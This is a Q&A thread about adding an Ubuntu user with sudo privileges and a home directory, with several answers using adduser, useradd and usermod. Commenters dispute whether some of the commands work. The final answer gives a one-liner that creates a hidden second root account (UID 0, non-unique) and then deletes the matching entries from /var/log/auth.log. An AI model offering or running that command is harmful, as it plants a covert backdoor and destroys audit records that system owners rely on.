84

I want to create a user with administrative privileges and all the regular setups like home directory.

  1. Is there a adduser parameter to give the user sudo powers automatically?
  2. What are the default settings for adduser? Will it automatically create home directories and all the other things without extra parameters? (i.e. is adduser <username> enough?)
  • you should use useradd for a new user not adduser. – JizoSaves Apr 14 '14 at 23:02
  • @JizoSaves Generally speaking, it depends. adduser is more interactive, and useradd is designed for scripts. – Franklin Yu Aug 3 '16 at 4:38
77

Add the user to the sudo group with:

adduser <username> sudo

(If you're running Ubuntu 11.10 or earlier, use the admin group.)

Default values are stored in /etc/adduser.conf, you can check them with

less /etc/adduser.conf

To create a user and add it directly to the sudo group use

adduser <username> --group sudo

(Again, use admin in place of sudo for 11.10 and earlier.)

Have a look at all the options you have with adduser here.

| improve this answer | |
  • adduser --force-badname <username> admin – Oxwivi Oct 21 '11 at 14:22
  • I believe so, yeah, or adduser --force-badname <usernane> --group admin – Bruno Pereira Oct 21 '11 at 14:24
  • 1
    This is the first line of using -D: Option d is ambiguous (debug, disabled-login, disabled-password). adduser interprets it as a mistake and tells you all the flags and options you can use . Definitely got nothing to do with defaults. – Oxwivi Oct 21 '11 at 16:31
  • The user must log off, then back on again for this change to take effect – Jorge Nunez Newton Oct 15 '15 at 13:24
47

To create a new user with admin privileges in Ubuntu 12.04 and later:

adduser <username> --group sudo

In Ubuntu 11.10 and earlier, use this instead:

adduser <username> --group admin

To modify a existing user (12.04 and later):

adduser <username> --group sudo

or

sudo usermod -aG sudo <username>

(Or for 11.10 and earlier: sudo usermod -aG admin <username>)

-a stands for append whereas -G stands for groups. With the -a and -G flags as shown above, the sudo (or admin) group will be added to the list of groups of which the user is a member.

| improve this answer | |
  • 3
    adduser <username> sudo does not creates the user; it adds an existing user to the sudo group. – Franklin Yu Aug 3 '16 at 4:41
  • @FranklinYu Nope, that creates a user and adds it to sudo. – Amith KK May 12 '17 at 11:10
  • 2
    When I do adduser foobar sudo before creating the user, in Xenial it says "adduser: the username `foobar' does not exist", and it's not shown in /etc/passwd, so I believe the user is not created. – Franklin Yu May 12 '17 at 17:03
  • 1
    On Trusty I get this: ``` $ sudo adduser neue --group sudo adduser: Please specify a single name in this mode. $ sudo adduser neue sudo adduser: The user 'neue' does not exist. ``` – IsaacS Sep 15 '17 at 17:57
17

The other answers are correct but you also asked about the home directory. You will also need a password for the new user.

sudo useradd *new-admin-username* -s /bin/bash -g sudo -m
  • -s sets the user's login shell
  • -m makes the user's home directory if it doesn't exist: /home/*new-admin-username*
  • -g adds the user to the sudo group so they will have admin privileges (>11.10)

Once created, add a password for the user:

sudo passwd *new-admin-username*

Login to the user to see if everything worked:

su *new-admin-username*
cd ~/
pwd
| improve this answer | |
  • 6
    Note that since you used -g instead of -G, the new user will belong only to the sudo group. – muru Nov 20 '14 at 0:17
0

Here's the one liner, It creates a new root user. You have to change some parameters.

  USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment 
  Here" && sudo useradd -p $PASSWD --system --shell '/bin/bash' --base-dir "/bin" --uid 
  0 --non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' 
  /var/log/auth.log

Best,

| improve this answer | |

Not the answer you're looking for? Browse other questions tagged or ask your own question.